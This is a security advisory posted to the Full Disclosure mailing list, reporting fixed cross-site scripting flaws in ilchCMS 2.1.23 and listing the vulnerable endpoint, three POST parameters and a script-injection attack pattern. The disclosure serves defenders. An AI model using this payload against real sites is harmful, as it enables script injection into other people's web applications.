Full Disclosure mailing list archives
Multiple Cross-site Scripting Vulnerabilities in ilchCMS 2.1.23
From: Daniel Bishtawi <daniel () netsparker com>
Date: Mon, 4 Nov 2019 11:24:10 +0100
Hello, We are informing you about the vulnerabilities in ilchCMS 2.1.23. Here are the details: Information -------------------- Advisory by Netsparker Name: Multiple Cross-site Scripting Vulnerabilities in ilchCMS 2.1.23 Affected Software: ilchCMS Affected Versions: 2.1.23 Vendor Homepage: https://www.ilch.de/ Vulnerability Type: Cross-site Scripting Severity: Medium Status: Fixed CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N Netsparker Advisory Reference: NS-19-016 Technical Details -------------------- URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index Parameter Name: Link Parameter Type: Post Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt> URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index Parameter Name: Name Parameter Type: Post Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt> URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index Parameter Name: Banner Parameter Type: Post Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt> Note - Auth: No - Token: Yes For more information: https://www.netsparker.com/web-applications-advisories/ns-19-016-cross-site-scripting-in-ilchcms/ Regards, Daniel Bishtawi Marketing Administrator | Netsparker Web Application Security Scanner Follow us on Twitter <https://twitter.com/netsparker> | LinkedIn <https://www.linkedin.com/company/netsparker-ltd> | Facebook <https://facebook.com/netsparker> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Current thread:
- Multiple Cross-site Scripting Vulnerabilities in ilchCMS 2.1.23 Daniel Bishtawi (Nov 05)